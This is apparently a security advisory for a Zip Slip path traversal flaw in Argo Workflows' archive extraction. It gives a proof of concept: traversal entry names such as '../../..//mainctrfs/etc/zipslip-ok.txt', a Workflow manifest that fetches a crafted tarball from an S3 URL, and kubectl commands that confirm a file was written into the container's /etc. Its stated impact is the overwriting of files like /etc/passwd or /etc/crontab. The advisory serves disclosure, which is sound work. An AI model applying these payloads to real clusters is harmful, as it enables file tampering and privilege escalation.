unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call,/etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible.tar.gz file to a path traversal like ../../../../../etc/zipslip-poc,untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc",/etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories./work/tmp (dest) — The intended extraction directory in the wait container../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payloadfilepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversalfilepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory/mainctrfs/etc/zipslip-ok.txt file is created in the wait container/etc/zipslip-ok.txt in the main container due to volume mount mirroringtar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability./work/tmp, which should normally extract the archive to that intended directory.untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations./mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory./work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: zipslip-
spec:
entrypoint: main
templates:
- name: main
container:
image: ubuntu:22.04
command: ["sh"]
args: ["-c", "echo 'Starting container'; sleep 3000"]
volumeMounts:
- name: etcvol
mountPath: /etc
inputs:
artifacts:
- name: evil
path: /work/tmp
archive:
tar: {}
http:
url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
volumes:
- name: etcvol
emptyDir: {}
Create Zipslip
Upload S3
Create Workflow
Run
Exploit Success
# Find Workflow and Pod
NS=default
WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}')
POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}')
echo "NS=$NS WF=$WF POD=$POD"
# Connect Main Container
kubectl exec -it -n "$NS" "$POD" -c main -- bash
# Exploit
cd /etc/
ls -l
cat zipslip-ok.txt
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
{
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-14T18:00:30Z",
"nvd_published_at": "2025-10-14T15:16:12Z",
"severity": "HIGH"
}